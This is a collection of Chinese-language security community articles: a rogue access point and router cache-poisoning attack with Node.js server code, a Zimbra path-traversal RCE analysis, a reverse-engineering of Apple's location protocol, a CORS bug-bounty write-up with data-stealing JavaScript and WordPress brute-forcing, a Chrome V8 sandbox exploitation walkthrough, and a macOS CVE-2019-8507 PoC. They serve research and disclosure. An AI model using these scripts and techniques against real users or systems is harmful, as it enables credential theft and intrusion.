加载一个iframe。这是因为家庭路由器的IP可能配置有所不同。这意味着Raspberry必须响应不同子网上的不同IP。为此，我只需向Raspberry的无线接口添加更多IP就行了。这样，无论加载iframe的代码何时执行，都会对公共路由器的IP地址执行请求，并且Raspberry的无线接口可以伪装成路由器，响应这些请求并缓存我想要的任何内容。
最后，我需要在Raspberry上搭建一个Web服务器，它可以监听无线接口并缓存攻击路由器的JavaScript代码。我先用Nginx做了一些测试，以确保这个想法有效，但最后我选择了Node.JS，主要是因为我还没有使用过Node.JS的HTTP服务器。
var http = require("http");
var routers = ["192.168.0.1/","192.168.1.1/","192.168.1.90/"]
var fs = require('fs');
// load the index web page
var index = fs.readFileSync("./www/index.html");
// load the JavaScript file, which might be more than one
// when support for other router is implemented
var jsob = fs.readdirSync('./www/js');
var repobj = {}
for (var i in jsob){
// placing a / at the beginning is a bit of a lazy move
repobj["/"+jsob[i]] = fs.readFileSync('./www/js/' + jsob[i]);
}
var server = http.createServer(function(request, response) {
var url = request.headers.host + request.url;
console.log('Request: ' + url);
console.log("REQUEST URL" + request.url);
console.log(request.headers);
var headers = {
"Content-Type": "text/html",
"Server": "dribble",
"Cache-Control": "public, max-age=99936000",
"Expires": "Wed, 2 Nov 2050 10:00:00 GMT",
"Last-Modified": "Wed, 2 Nov 1988 10:00:00 GMT",
"Access-Control-Allow-Origin": "*"
};
// Cache the index page
if (routers.includes(url))
{
console.log("cache until the end of time");
response.writeHead(200, headers);
response.write(index);
response.end();
return;
}
// cache the JavaScript payload
else if (repobj[request.url]){
console.log("cache JS until the end of time");
headers["Content-Type"] = "application/javascript";
response.writeHead(200, headers);
response.write(repobj[request.url]);
response.end();
return;
}
});
// listen on port 80
server.listen(80);
## 让我们测试一下效果……！
我自己已经做了一些攻击测试，但我想在更真实的环境中进行测试。但是，我不能在没有别人同意的情况下对任何人进行攻击尝试，所以首先我需要一个愿意参与这个小实验的受害者……所以我问我的女朋友。谈话是这样的：
太好了，既然我已经有了一个心甘情愿地决定参加这个小实验的受害者，那么是时候开始攻击并引诱她的iPhone
6连接到我的虚假接入点了。因此，我创建了一个和她之前访问过的某个WiFi一样的ESSID的虚假接入点，我知道她之前已经访问过（是的，受害者的情报也很有用，哈哈）的热点，很快她的iPhone连接到了我的虚拟接入点。
我让她在仍然连接到虚拟接入点的同时浏览网页并耐心地等待她进入一个只支持HTTP的网站。
He waded out into the shallows,
and he waited there three days
and three nights,
till all manner of sea creatures
came acclimated to his presence.
And on the fourth morning, …
Mr. Gibbs (Pirates of the Caribbean: The Curse of the Black Pearl)
最后，bettercap闪烁显示并打印出已经注入的东西，这意味着我不需要让她连接到我的接入点了。
因此，我关闭了我的接入点，导致她的手机漫游到我们的家庭Wi-Fi热点，并且由于她仍在浏览该网站，注入的恶意JavaScript代码已经执行完了，并将我家的Wi-Fi密码直接发送到了我的PHP页面。
## 总结
整个攻击过程用到的代码都可以在我的github上找到，这些代码肯定还需要改进，还应添加对新路由器的支持。如果我有机会测试其他的网络设备，我将会把它们添加到Git存储库中。各位，玩得开心…… | 社区文章 |
**作者：且听安全
原文链接：<https://mp.weixin.qq.com/s/2pUW4H1v6mnXtMqTlxZCMA>**
### **漏洞信息**
前段时间 Zimbra 官方通报了一个 RCE 漏洞 CVE-2022-27925
，也有小伙伴在漏洞空间站谈到了这个漏洞，上周末在家有时间完成了漏洞的分析与复现。漏洞原理并不复杂，但在搭建环境的过程中遇到了一些坑，下面将分析过程分享给大家。
从描述来看，这是一个 ZIP 压缩包解析导致路径穿越类型的漏洞。
### **环境搭建**
由于直接安装 v9.0.0 或 v8.8.15 默认就是最新版，因此选择安装 v8.8.12。安装过程非常曲折，
**环境搭建有疑惑的小伙伴可以加入漏洞空间站进行交流** 。
最终完成安装并启动成功：
通过配置 `mailboxd_java_options` 加入调试信息：
重启 Zimbra 服务即可打开远程调试：
### **寻找调用链**
漏洞出现在 `mboximport` 相关的功能中，全盘搜索定位到位于 `zimbrabackup.jar` 中的
`MailboxImportServlet` :
从命名规则和存在的成员函数 `doPost` 来看， `MailboxImportServlet` 应该对应一个 `Servlet` 对象，但是
`MailboxImportServlet` 继承于 `ExtensionHttpHandler` 而非 `HttpServlet` ：
所以还需要寻找某种相互之间的转换关系。我们知道 Zimbra 自定义了 `Servlet` 对象的基类 `ZimbraServlet` ，搜索其子类：
定位 `ExtensionDispatcherServlet` ：
可以找到相关配置：
所以 `ExtensionDispatcherServlet` 对应的 URL 规则为 `/service/extension/*` ，回到
`ExtensionDispatcherServlet#service` 函数：
通过 `getHandler` 函数来寻找对应的 `ExtensionHttpHandler` 对象 `handler` （前面定位的
`MailboxImportServlet` 正好继承于 `ExtensionHttpHandler`），进入 `getHandler` 函数：
提取 URL 中 `/service/extension` 之后的字符串并赋值给 `extPath` ，带入 `getHandler` 函数：
返回的 `ExtensionHttpHandler` 对象来自于 `sHandlers` 键值对，其中的 `key` 来自于
`ExtensionHttpHandler#getPath` 函数，查看定义：
`ExtensionHttpHandler#getPath` ：
`mExtension` 为 `ZimbraExtension` 类型，并且在 `init` 函数中完成初始化，搜索 `ZimbraExtension`
子类：
定位 `BackupExtension` ，里面刚好注册了 `MailboxImportServlet` 类型：
所以构造特定 URL 将调用 `MailboxImportServlet` ，测试如下：
成功进入 `MailboxImportServlet#doPost` 函数处理逻辑。
### **权限认证分析**
下面分析一下 `doPost` 函数的处理逻辑，首先通过 `getAuthTokenFromCookie` 从 Cookie 中提取 token
认证信息，并检查是否为管理员权限：
AuthToken authToken = ZimbraServlet.getAuthTokenFromCookie(req, resp);
if (authToken == null || !authToken.isAdmin()) {
Log.mboxmove.warn("Auth failed");
this.sendError(resp, 403, "Auth failed");
}
进入 `getAuthTokenFromCookie` ：
因为这里 `isAdminReq` 默认为 `false` ，因此认证后需要携带 `ZM_AUTH_TOKEN` 的 Cookie 值，而非
`ZM_ADMIN_AUTH_TOKEN` ：
### **漏洞点定位**
通过权限检查后，将会进行一系列参数提取与判断，当提供的 `account-name` 等参数通过验证后，将进入第 152 行 `importFrom`
函数：
其中 `in` 来自于 POST 请求数据包，进入 `importFrom` 函数：
提取 ZIP 压缩包，调用 `restore` 函数：
进入 `getAccountSession` 函数：
实例化 `ZipBackupTarget.RestoreAcctSession` 对象，进入构造函数：
跟进 `unzipToTempFiles` 函数：
ZIP 压缩包解压过程存在路径穿越漏洞，导致可以向任意路径写入 shell 。
### **漏洞复现**
通过上述分析，我们可以构造一个存在路径穿越的 ZIP 压缩包，并发送特定 POST 请求实现压缩包解压路径穿越：
最终写入 shell ：
* * * | 社区文章 |
# 【技术分享】如何逆向苹果定位服务协议？
|
##### 译文声明
本文是翻译文章，文章来源：appelsiini.net
原文地址：<https://appelsiini.net/2017/reverse-engineering-location-services/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[ **360代码卫士**](http://bobao.360.cn/member/contribute?uid=2873043487)
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**概述**
本文作者表示自己在Whereami工作时对苹果公司的位置服务如何运作很感兴趣。以下是作者对如何逆向位置服务协议的描述。
由于Little Snitch一直拦截locationd，因此我了解到该协议是通过locationd处理的。由于macOS目前具有系统完整性保护 (SIP)
功能，因此通过proxychains检查流量的普通方式不起作用了。另外一种方法就是将Charles设置为iOS设备的中间人代理。看到多数是由设备背景连线通信产生的流量，于是我得到了想要的东西即一个位置服务请求。
**位置服务请求**
这个请求本身只是application/x-www-form-urlencode以及一些二进制数据。
POST /clls/wloc HTTP/1.1
Host: gs-loc.apple.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 97
Proxy-Connection: keep-alive
Accept: */*
User-Agent: locationd/1756.1.15 CFNetwork/711.5.6 Darwin/14.0.0
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Connection: keep-alive
00000000: 00 01 00 05 65 6e 5f 55 53 00 13 63 6f 6d 2e 61 ....en_US..com.a
00000010: 70 70 6c 65 2e 6c 6f 63 61 74 69 6f 6e 64 00 0c pple.locationd..
00000020: 38 2e 34 2e 31 2e 31 32 48 33 32 31 00 00 00 01 8.4.1.12H321....
00000030: 00 00 00 2d 12 13 0a 11 62 34 3a 35 64 3a 35 30 ...-....b4:5d:50
00000040: 3a 39 34 3a 33 39 3a 62 33 12 12 0a 10 39 38 3a :94:39:b3....98:
00000050: 31 3a 61 37 3a 65 36 3a 38 35 3a 37 30 18 00 20 1:a7:e6:85:70..
00000060: 64 d
由于数据并不具有gzip头部0x1f8b，我猜应该是PB (protocol
buffer)。毕竟它现在风光无限且备受众多很酷的小伙伴推崇。我们试着解码一下。
$ xxd -r request.hex | protoc --decode_raw
Failed to parse input.
不起作用，可能是因为请求里面存在多余的东西。按逻辑来说这些mac地址应该是数据的一部分。我们试着来解码一下这些地址，如下十六进制转储中的蓝色部分所示：
还是不行。顶部看起来就像是一个头部。我们试着删除头部看看。
还是不行。
多次尝试未果之后，我决定通过从开头把字节一个一个地删除的暴力方法来看看能否解码。稍微改进的脚本版本如下。
[protomower.sh](https://gist.github.com/tuupola/4dd26664e52c2fffd5bede658e84cb3b)
运行之后发现三个匹配似乎是误报。虽然有输出但有些数据时乱码。第四个看似是合法的。
看似我原来的想法非常接近真相了。黄色部分是被删掉的字节。蓝色部分是成功被解码的PB信息。
也就是说请求信息由四种不同类型的数据组成。在PB术语中，每种数据类型都被称作一个标签。那么这条信息就有四个标签。
**1是包含一个mac地址的字符串，基本上跟一个无线路由器mac地址差不多。**
**2是包含1作为值的内嵌信息，将其看做一个结构或对象即可。**
**3 和 4都是整数。我不知道它们的含义是什么，可能是说路由器最近一次出现的年份或者是信号噪音比。**
为了验证这些假设，我们试着通过不同的mac地址提出一个请求。我通过一个十六进制编辑器来编辑二进制请求文件并通过curl命令提出一个POST请求。
$ curl https://gs-loc.apple.com/clls/wloc --include --request POST --data-binary @request2.bin
HTTP/1.1 400 Bad Request
Date: Sun, 07 May 2017 06:26:06 GMT
Cneonction: Close
Content-Type: text/plain
X-RID: 62904d6c-fe93-47d5-b579-548f9c83297c
Content-Length: 11
Bad Request
还是不行。为什么会出现问题呢？
从转储中我们可看出信息现在是1个字节的长度，那么某个地方可能是一个校验和。这一点显而易见。0x2d的小数有效位数是45，而原始信息是45字节长。新的信息是46字节长，那么转换成十六进制应该是0x2e。我猜变量是一个32位的整数即0x002e。
$ curl https://gs-loc.apple.com/clls/wloc --include --request POST --data-binary @request3.bin
HTTP/1.1 200 OK
X-RID: bb3cc16a-6680-4019-b5d0-fb52e8c8bd5a
Content-Type: text/plain
Content-Length: 4948
成功了。现在我们就可以知道请求的格式了。
头部本身可进一步进行分割。
地址服务响应
响应本身非常大。
这次，我们还是用暴力笨办法，事实证明有效果。解码的输出大概是1400行长。
第一行有点让人困惑。18446744073709551615 等于
0xfffffffffffffff也就是最大的无符号64位值。这可能意味着mac地址并未发现。我不知道18446744055709551616即0xfffffffbcf1dcc00的情况如何。
余下的结果更清楚。
**2-1 是mac地址**
**2-2-1 是纬度 135582881 * pow(10, -8) = 1.35544532**
**2-2-2是经度10399172128 * pow(10, -8) = 103.99172128**
**2-2-3 貌似是位置精确度，**
**2-21 很可能是无线信道。**
我刚开始不解的是为什么会得到101个结果。后来想明白了，这说明成功的结果是100个。刚开始的两个是我发送的mac地址，其余的是跟我提交的地址临近的mac地址。
**但为啥有100个结果呢？**
我猜可能是苹果公司去掉了对客户的三边测量计算，它并没有为每个人做出昂贵的计算，而是提供了一些访问点和坐标。
如果其中至少有三个地址是客户可见的，那么核心位置就能够使用信号水平作为距离。当你拥有三个坐标以及它们离目标位置的距离后，你就能合理地计算出目标位置在哪里。
如下是请求位于新加坡樟宜的位置时返回的访问点位置服务。
拥有了周边数百个访问点的信息还省去了再次联系位置服务服务器的必要。只要核心位置拥有三个可见访问点的坐标，那么就能够准确地计算出目标位置在哪里。即使是在离线的情况下只要开启了wifi，一样可以找到准确位置。
**如何为我所用？**
你可以为不带用户空间核心位置支持的编程语言写支持，不过其实可以用[更简单的办法](https://pypi.python.org/pypi/pyobjc-framework-CoreLocation/)实现这个诉求。其实可以写一下你自己的位置服务服务器，帮助定位app做出一些有创意的调试，这个会更有意思。
**延伸阅读**
[Application à l’analyse des données de géolocalisation envoyées par un
smartphone](https://fxaguessy.fr/resources/pdf-articles/Rapport-PFE-interception-SSL-analyse-localisation-smatphones.pdf)
这是一篇法语论文，来了没有一些.proto文件实例和Python代码，我就是从这里开始的。不过论文发表之时协议似乎已经发生变化了
[Vulnerability Analysis and Countermeasures for WiFi-based Location Services
and Application
](http://cacr.uwaterloo.ca/techreports/2014/cacr2014-25.pdf)（《基于WiFi地理服务和应用程序的漏洞分析和应对方法》）可大体了解基于WiFi的定位是如何运作的。 | 社区文章 |
原文：[Broke limited scope with a chain of bugs (tips for every rider
CORS)](https://medium.com/bugbountywriteup/broke-limited-scope-with-a-chain-of-bugs-ef734ac430f5)
作者：[Valeriy Shevchenko](https://medium.com/@valeriyshevchenko?source=post_page
-----ef734ac430f5----------------------)
* * *
## 前言
一天早晨，有人邀请我加入一个私有的漏洞赏金计划。我在安全方面的经验大多数都是来自于这样的私有项目。一方面来说这是件好事，因为不需要急着赶在其他人之前找到最危险的漏洞；但是另一方面，这不利于个人成长。当然它肯定有所益处，但是在这种情况下成长速度很慢。给我写信的人要了我的HackerOne账户链接，我把个人资料的链接给了他，但是我其实有一些尴尬，因为我当时（5个月前）的信誉度为零。好吧，不是，其实是负数。因为我曾经联系过这个公司，告诉他们一个有关“损坏的功能性(broken
functionality)”的漏洞。但在那个时候，除了HackerOne我找不到更好的联系方式了，于是我报告了这个问题，结果因为该问题与安全领域无关所以得到了负数的信誉评分，在那之后我就没再用过这个账号。从那时起，我就决定无论如何都要改变这样的境况。
## 漏洞挖掘过程
我决定通过几个项目重建信心，所有的项目都是私有的，但这并不能简化我的困难，因为在此之前已经有很多在信息安全领域享有盛名的人发现了许多漏洞。
在第一个项目中，搜索漏洞的范围有限（即只允许测试特定的域名和子域名）。
这样的要求总是让我很惊讶。因为如果有人在搜索范围之外的子域名上发现了数据泄露问题，你仍然无法摆脱GDPR或者CCPA的罚款。当然，这些都是经济领域的问题，但在我看来，限制范围会带来更大的风险。
当我刚刚开始在一个主域名上寻找漏洞时，就遇到了一个有趣的惊喜。在向服务器发送了几个请求之后，我找到了一个配置得十分奇怪的CORS策略。
在包含`Oringin:attacker.companyname.com`的请求发送后，我收到的响应允许*.companyname.com，而且还包含一个额外的头`Access-Control-Allow-Credentials:true`。
我把这种情况称为"子域名通配符(Subdomain
Wildcard)"。这种情况有些奇怪，因为子域名并不包含在漏洞搜索项目内，我决定向这个公司证明，在这种情况下，这个项目对域名的限制很奇怪。所以我开始搜索允许我执行攻击的子域名（攻击场景）。
如果我可以找到一种方式进行子域名劫持或者通过XSS实施攻击，那么从攻击者的角度看，我说的这种CORS配置可能很危险。
通过子域名劫持找到有效漏洞的方法失败了，所以我决定在子域名上挖掘XSS。这时候一个WordPress站点列表吸引了我的注意力，大多数站点已经被废弃了，因为即使最后一篇文章也发表于几年前。显而易见，这些站点的版本会受到所有最新的严重漏洞的影响。我尝试利用一些漏洞攻击了这些站点，但是并没有成功。许多人认为在WordPress上至少有最少的用户权限。在这一点上，我要感谢NordVPN项目的所有者，因为即使[扫描者没有exploit示例](https://hackerone.com/reports/752073)，他们也会接受其[报告](https://hackerone.com/reports/751876)。
这之后我决定直接通过XML-RPC暴力破解凭据。顺便说一句，有效的XML-RPC也是被忽视的漏洞之一。
几分钟后，我为攻击收集了一个简单的用户名密码字典，识别用户并不难。字典中包含一些关键词——公司名称、城市、公司成立年份等等类似信息。这之后我进入了其中一个WordPress站点后台，不知道为什么，这里有个用户的密码是"company
name"。根据Linkedin，这个用户本人已经很久没在这家公司工作了。
我开始建立这个主域名上的漏洞利用链。接下来的几天，我继续慢慢弄清楚它的引擎版本是什么、使用了哪个主题、安装了什么插件……但是在我调查的第一天，我做了一件十分重要的事：我在这个网站上创建了一个新的空白文章，文章中嵌入了像素追踪技术([IP
logger](https://iplogger.ru/))，用来记录该站点上可能的活动。这项措施后来给了我很大的帮助。
下面的代码用来攻击该主域名：
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.status == 200) {
console.log('Ololo >>>', this.responseText);
}
};
xhttp.open("GET", "https://www.example.com/v/account/welcome/show", true);
xhttp.withCredentials = true;
xhttp.send();
}
cors();
</script>
我把这段代码放在了一个有编辑权限的受控WordPress站点的主页面上。事实上，这是我对用户的攻击场景进行展示的最终方案。用户只需要打开mywordpress.example.com，攻击者就可以捕获到该用户的所有重要数据。这意味着用户在主域名的有效登录会话会被记录在我的子域名中，同时还有关于这个用户的所有敏感信息。
有了这些结果，你就可以编写报告并且获得HackerOne的信誉点甚至是一些报酬了。但是我认为这个受控的WordPress站点上可能还有些其他的东西值得挖掘。又花了一些时间，我找了一个PoC，拥有User权限的用户在这个服务器上可以执行命令(远程命令执行RCE)。我在做测试时使用了[CVE-2019–8942
](https://pentest-tools.com/blog/wordpress-remote-code-execution-exploit-CVE-2019-8942)这个漏洞。
## IPLogger的作用
最后，通过一个配置松散的CORS策略，我可以构建一个漏洞利用链攻击用户，此外，我还在其中一个子域名上进行了RCE。我提交了这两个报告，然后等待回应。关于CORS的报告很快得到了处理，他们很快对这个漏洞进行了复现并修复。但是关于RCE的报告15天后仍然未被处理，这时我之前提到的IPLogger救了我。
几天后，我在捕获到的WordPress站点上发现了活动迹象，又过了几天，这个站点关闭了。有关CORS的报告被标注已修复，并且关闭了，但是在WordPress子域名上的RCE仍然存在。我感到很气愤，尝试通过沟通解决这个问题。在我的邮件中，我提供了一些证据，关于该公司的员工是如何进入该站点，执行了一些操作然后最终关闭站点的。第二天我没有收到任何回复，但是HackerOne告诉我两个报告都被关闭了，并且支付了报酬。当然，我很高兴这样的进展，毕竟我的主要目的就是获得一些信誉点，每个人都这么想。
## 另一个CORS配置错误的例子
此外，在现实生活中，我也遇到过一些站点对CORS进行了错误的配置，没有进行任何限制，也没有检查Referer头，而直接选择了信任。例如在另一个私有项目中，我发现了这个问题。为了遵守隐私策略，让我们称这个网站为trustcasino.com。在与这个站点进行交互的过程中，我发现了下面这个问题——如果发送带有以下头的请求：
Origin: https://www.trustcasino.com.anydomain.com
Referer: https://anydomain.com
响应会是：
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: https://www.trustcasino.com.anydomain.com
Access-Control-Allow-Methods: POST, GET
由于在CORS策略中出现这样的错误，我们就可以从trustcasino.com的授权用户上接收数据。你只需要创建一个地址为<https://www.trustcasino.com.anydomain.com/pidor.html的网页，引诱用户访问它。pidor.html包含以下代码：>
<html>
<body>
<script>history.pushState('', '', '/')</script>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("GET", "https:\/\/www.trustcasino.com\/myaccount\/deposit.json", true);
xhr.withCredentials = true;
var body = "";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
alert(xhr.response);
}
}
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>
当用户访问这个攻击者控制的网页(trustcasino.com.anydomain.com/pidor.html)时，他在trustcasino.com上所有的用户信息都会被传输到攻击者手里。
还有另一个CORS配置错误情况，请求包含以下头：
GET /alltransactions
Host: docs.bigbank.com
Origin: null
我们会收到：
HTTP/1.1 200 OK
Acess-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
根据我的理解，这种情况下，攻击的PoC应该类似：
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
src='data:text/html,<script>*cors stuff here*</script>'>
</iframe>
## 总结
总而言之，CORS配置错误这种情况广泛存在，像是子域名通配符(Subdomain Wildcard)、域名前通配符(Pre Domain
Wildcard)、域名后通配符(Post Domain Wildcard)、Origin为空(Null Origin)，都可能被攻击者利用。
## 参考资料
* [3 Ways to Exploit Misconfigured Cross-Origin Resource Sharing (CORS)](https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors)
* [Exploiting CORS misconfigurations for Bitcoins and bounties](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
* [Insecure cross-origin resource sharing](https://habr.com/ru/company/owasp/blog/337146/)
* [Simple Local CORS test tool](https://medium.com/pareture/simple-local-cors-test-tool-544f108311c5)
* [CORS, CSP, HTTPS, HSTS: About Web Security Technologies](https://habr.com/ru/company/ruvds/blog/421347/)
* [Cross-Origin Resource Sharing (CORS)](http://ghostlulz.com/cross-origin-resource-sharing-cors/) | 社区文章 |
# 【技术分享】Chrome浏览器安全之沙盒逃逸（下）
|
##### 译文声明
本文是翻译文章，文章来源：technet.microsoft.com
原文地址：<https://blogs.technet.microsoft.com/mmpc/2017/10/18/browser-security-beyond-sandboxing/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[shan66](http://bobao.360.cn/member/contribute?uid=2522399780)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**传送门**
[](http://bobao.360.cn/learning/detail/4580.html)[**[**【技术分享】Chrome浏览器安全之沙盒逃逸（上）**](http://bobao.360.cn/learning/detail/4580.html)**](http://bobao.360.cn/learning/detail/4580.html)
**引发信息泄漏**
现在，对于这个bug，要想知道我们可以用它做什么或不能做什么的最简单的方法，就是直接使用测试用例。例如，我们可以考察通过未初始化的指针来改变我们要加载的字段的类型的效果：
结果是，现在该字段直接作为float加载，而不是一个对象指针或SMI加载：
类似地，我们可以尝试向对象添加更多的字段：
运行后将出现以下崩溃：
这非常有趣，因为它看起来像是通过为对象添加字段而改变了加载字段的偏移量。事实上，我们计算一下，就会发现（0x67 – 0x1f）/ 8 =
9，这正是我们从o.b.ba.bab添加的字段数。这同样适用于rbx加载有关的新偏移量。
经过多次测试后，我们可以确认，我们对加载未初始化指针的偏移量实现了绝对的控制，即使这些字段都没有被初始化。这时，了解是否可以将任意数据放入这个内存区域是非常有用的。结合前面对0xbadc0de的测试来看，我们好像是可以做到这一点的，但每次运行测试用例时，这个偏移量好像都会发生变化。通常，利用值喷射可以解决这个问题。原因是，如果我们无法准确地将目标陷入某一特定的地点，我们可以改变目标，让它变得更大一些。实际上，我们可以通过使用内联数组来喷射值：
查看crash dump，我们发现：
这里的崩溃情况与以前基本相同，但如果我们查看未初始化数据所来自的内存区域的话，我们会发现：
我们现在找到了一大片完全由脚本控制的值，其偏移量位于r11中。将这个观察结果与以前的观点结合起来：
结果是我们现在可以对来自任意地址的任意浮点值解引用了：
这当然是非常强大的：它直接带来了一个任意的读取原语。不幸的是，没有初始信息泄漏的任意读取原语并不那么有用： **我们需要知道要读取哪些地址才能使用它** 。
由于变量v可以是我们想要的任何东西，所以可以用一个对象替换它，然后读取它的内部字段。例如，我们可以使用自定义回调函数的调用来替换对
**Object.toString()**
的调用，并将V替换为DataView对象，读回该对象的后备存储器的地址。这为我们寻找完全受脚本控制的数据提供了一种方法：
以上代码返回：
使用WinDbg，我们可以证实这的确是缓冲区的后备dump：
这同样是一个非常强大的原语，我们可以使用它来泄漏对象的任何字段以及任何JavaScript对象的地址，因为这些对象有时被存储为其他对象中的字段。
**构建任意的读/写原语**
能够以已知地址放置任意数据意味着我们可以解锁更强大的原语：创建任意JavaScript对象的能力。
只需将从float读取的字段的类型更改为对象，就可以从内存中的任何位置读取一个对象指针，包括我们已经知道地址的缓冲区。
为了进行相应的测试，可以使用WinDbg通过以下命令将受控数据放置到已知地址中：
这将在我们的任意对象指针的加载位置放置一个表示整数0xbadc0de的SMI。由于我们没有设置最低有效位，所以它将被V8解释为内联整数：
如预期的那样，V8将打印以下输出：
这样的话，说明我们能够创建任意对象。因此，我们可以通过创建伪造的DataView和ArrayBuffer对象来形成任意的读/写原语。我们再次通过WinDbg将我们伪造的对象数据放入已知位置：
然后我们用以下JavaScript进行测试：
如预期的那样，调用DataView.prototype.setUint32会触发崩溃，并尝试将值0xdeadcafe写入0x00000badbeefc0de：
为了控制数据的写入或读取地址，只需修改一下通过WinDbg填充的obj.arraybuffer.backing_store内存即可。因为在真正的exploit中，待修改的内存将成为实际的ArrayBuffer对象的后备存储的一部分，对其进行修改并非难事。例如，下面便是一个写入原语：
在这种情况下，我们可以通过JavaScript对Chrome渲染器进程中的任意内存位置进行可靠地读写操作。
**执行任意代码**
获得任意的读/写原语后，在渲染器进程中实现代码执行是比较容易的。在执行写入操作时，V8会赋予JIT代码页read-write-execute（RWX）权限，这意味着可以通过定位JIT代码页，对其进行覆盖，然后调用它来完成代码的执行。在实践中，可以通过信息泄漏来定位JavaScript函数对象的地址并读取其函数的entrypoint字段来达到这个目的。一旦将代码放入这个入口点后，我们便可以调用JavaScript函数来执行代码。对于JavaScript来说，代码如下所示：
值得注意的是，即使V8没有使用带有RWX权限的页面，由于缺乏控制流完整性检查，仍然很容易触发ROP链。在这种情况下，我们可以覆盖JavaScript函数对象的entrypoint字段，使其指向所需的gadget，然后进行函数调用。
这些技术都无法直接用于具有CFG和ACG功能的Microsoft Edge。在Windows 10 Creators
Update中引入的ACG，会执行严格的DEP检测，并将JIT编译器移到外部进程。这样做可以确保攻击者无法覆盖可执行代码，除非他们已经攻陷了JIT进程，但是这需要发现并利用其他漏洞。
另一方面，CFG可以确保间接调用方只能跳转到某一组函数，这意味着它们无法直接执行ROP。Creators
Update还引入了CFG禁止导出特性，通过从有效的目标集中删除大多数导出的函数，大大减少了有效的CFG间接调用目标。所有这些缓解措施和其他保护措施结合在一起，使得利用Microsoft
Edge中的RCE漏洞变得更加困难。
**RCE的危险性**
Chrome是一款现代化的网络浏览器，采用了多进程模式。所以，它涉及到多种进程类型：浏览器进程、GPU进程和渲染器进程。正如其名称所示，GPU进程用来处理GPU与需要使用它的所有进程之间的交互，而浏览器进程则是一个用来处理访问从文件系统到网络的所有过程的全局管理器进程。
渲染器是一个或多个选项卡背后的大脑——它负责解析和解释HTML、JavaScript等。沙箱模型使得这些进程只能访问其需要的功能。因此，如果无法找到一个辅助漏洞从沙箱溢出的话，攻击者很难通过渲染器彻底拿下受害者的机器。
鉴于此，我们很想知道攻击者是否可以在不借助辅助漏洞的情况下拿下机器。虽然大多数选项卡在个别进程中都是隔离的，但情况并不总是如此。例如，如果您在bing.com上使用JavaScript开发者控制台（可以通过按F12打开该控制台）来运行window.open('https://microsoft.com')的话，则会打开一个新的选项卡，但是它通常将与原始标签位于同一个进程中。为此，可以通过Chrome的内部任务管理器进行检查。要想打开这个管理器，可以使用Shift
+ Escape组合键：
如果您仔细观察的话，会发现非常有趣，因为它表明渲染器进程没有被锁定到任何一个源。这意味着，如果在渲染器进程中实现任意代码执行的话，使攻击者可以访问其他源。虽然攻击者以这种方式获得的绕过SOP策略的能力看上去无关痛痒，但后果却非常严重：
攻击者可以通过劫持PasswordAutofillAgent界面窃取为任何网站保存的密码。
攻击者可以将任意JavaScript注入到任意的页面（称为通用跨站点脚本或UXSS），例如劫持
**blink::ClassicScript::RunScript** 方法。
攻击者可以在后台中导航到任意的网站，而不会引起用户的察觉，例如，创建隐藏的弹出式窗口。这完全是可能的，因为许多用户交互检查是在渲染器进程中，而非浏览器进程中完成的。结果就是，攻击者可以在无需人工交互的情况下劫持像
**ChromeContentRendererClient::AllowPopup**
这样的东西，也就是说，攻击者就可以隐藏新建窗口了。他们还可以在弹出式窗口被关闭时弹出一个新的窗口，例如，通过hooking
onbeforeunload窗口事件就能达到这个目的。
为了更好地实施这种攻击，需要研究渲染器和浏览器进程的通信方式，然后直接模拟相关消息，不过对于这种攻击来说，只需付出有限的努力就可以实现。虽然双因子身份验证的普及能够降低密码被窃的风险，但是由于攻击者可以在用户已经登录的网站中骗取其身份凭证，所以他们仍然能够以用户的身份横冲直撞。
**小结**
****
在本文中，我们深入分析了Google的Chrome浏览器中的沙盒逃逸的漏洞根源，以及具体的利用方法，希望本文对读者能够有所帮助。 | 社区文章 |
# macOS CVE-2019-8507漏洞分析
|
##### 译文声明
本文是翻译文章，文章原作者 fortinet，文章来源：fortinet.com
原文地址：[www.fortinet.com/blog/threat-research/detailed-analysis-mac-os-vulnerability-cve-2019-8507.html](www.fortinet.com/blog/threat-research/detailed-analysis-mac-os-vulnerability-cve-2019-8507.html)
译文仅供参考，具体内容表达以及含义原文为准。
2019年3月25日，Apple公司发布了macOS Mojave 10.14.4和iOS
12.2。这两个更新修复了包括CVE-2019-8507在内的安全漏洞。该漏洞是FortiGuard
Labs研究人员于2019年1月3日报告给apple公司的。
本文主要从技术上分析macOS CVE-2019-8507漏洞。
## 概述
QuartzCore也称之为CoreAnimation，是macOS和iOS用来创建动画场景图形的框架。CoreAnimation框架使用的是一个特殊的渲染模型，其中图像操作运行在一个单独的进程中。在macOS系统中，是WindowServer进程，在iOS中是backboard进程。
服务名为`com.apple.CARenderServer`，是在`CARenderServer`中引用的。该服务存在于macOS和iOS中，可以通过Safari沙箱访问。在macOS中，当QuartzCore在`CA::Render::Decoder::decode_shape()`函数中处理图像对象时，会发送内存破坏漏洞。还可能会引发应用奔溃。
下面是该问题被触发后`WindowServer`进程被破坏后日志记录：
## PoC
下面介绍用来触发该漏洞的PoC：
下面是原始的Mach消息和伪造的Mach消息的比较：
图1. 原始的Mach消息和伪造的Mach消息的比较
通过二进制文件差异分析，只需将`0xB6`处的一个字节从`0x06`修改为`0x86`就可以触发该漏洞。
如PoC代码所示，为了发送一个伪造的Mach消息来触发该漏洞，首先需要发送一个`msgh_id
40202`的Mach消息来从新连接的客户端处提取connection ID。获取connection
ID后，就可以在伪造的Mach消息中对应的`0x2C`处设置该值。最后发送Mach消息来重现该漏洞。
